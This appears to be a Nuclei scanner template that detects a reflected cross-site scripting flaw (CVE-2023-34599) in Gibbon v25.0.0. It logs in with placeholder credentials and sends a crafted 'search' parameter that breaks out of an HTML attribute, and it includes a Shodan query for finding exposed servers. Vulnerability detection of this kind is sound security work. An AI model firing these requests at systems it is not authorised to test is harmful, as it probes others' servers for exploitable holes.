id: CVE-2023-34599 info: name: Gibbon v25.0.0 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Multiple Cross-Site Scripting (XSS) vulnerabilities have been identified in Gibbon v25.0.0, which enable attackers to execute arbitrary Javascript code. reference: - https://github.com/maddsec/CVE-2023-34599 - https://vulmon.com/searchpage?q=CVE-2023-34599 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-34599 cwe-id: CWE-79 epss-score: 0.00089 cpe: cpe:2.3:a:gibbonedu:gibbon:25.0.00:*:*:*:*:*:*:* metadata: max-request: 2 shodan-query: http.favicon.hash:-165631681 vendor: gibbonedu product: gibbon tags: cve,cve2023,gibbon,xss,authenticated,intrusive http: - raw: - | POST /login.php? HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8m88nqhR1NAnQEYZ ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="address" ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="method" default ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="username" {{username}} ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="password" {{password}} ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="gibbonSchoolYearID" 017 ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="gibboni18nID" 0001 ------WebKitFormBoundary8m88nqhR1NAnQEYZ-- - | GET /index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'>oq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - ">" - gibbon case-insensitive: true condition: and - type: word part: header words: - text/html - type: status status: - 200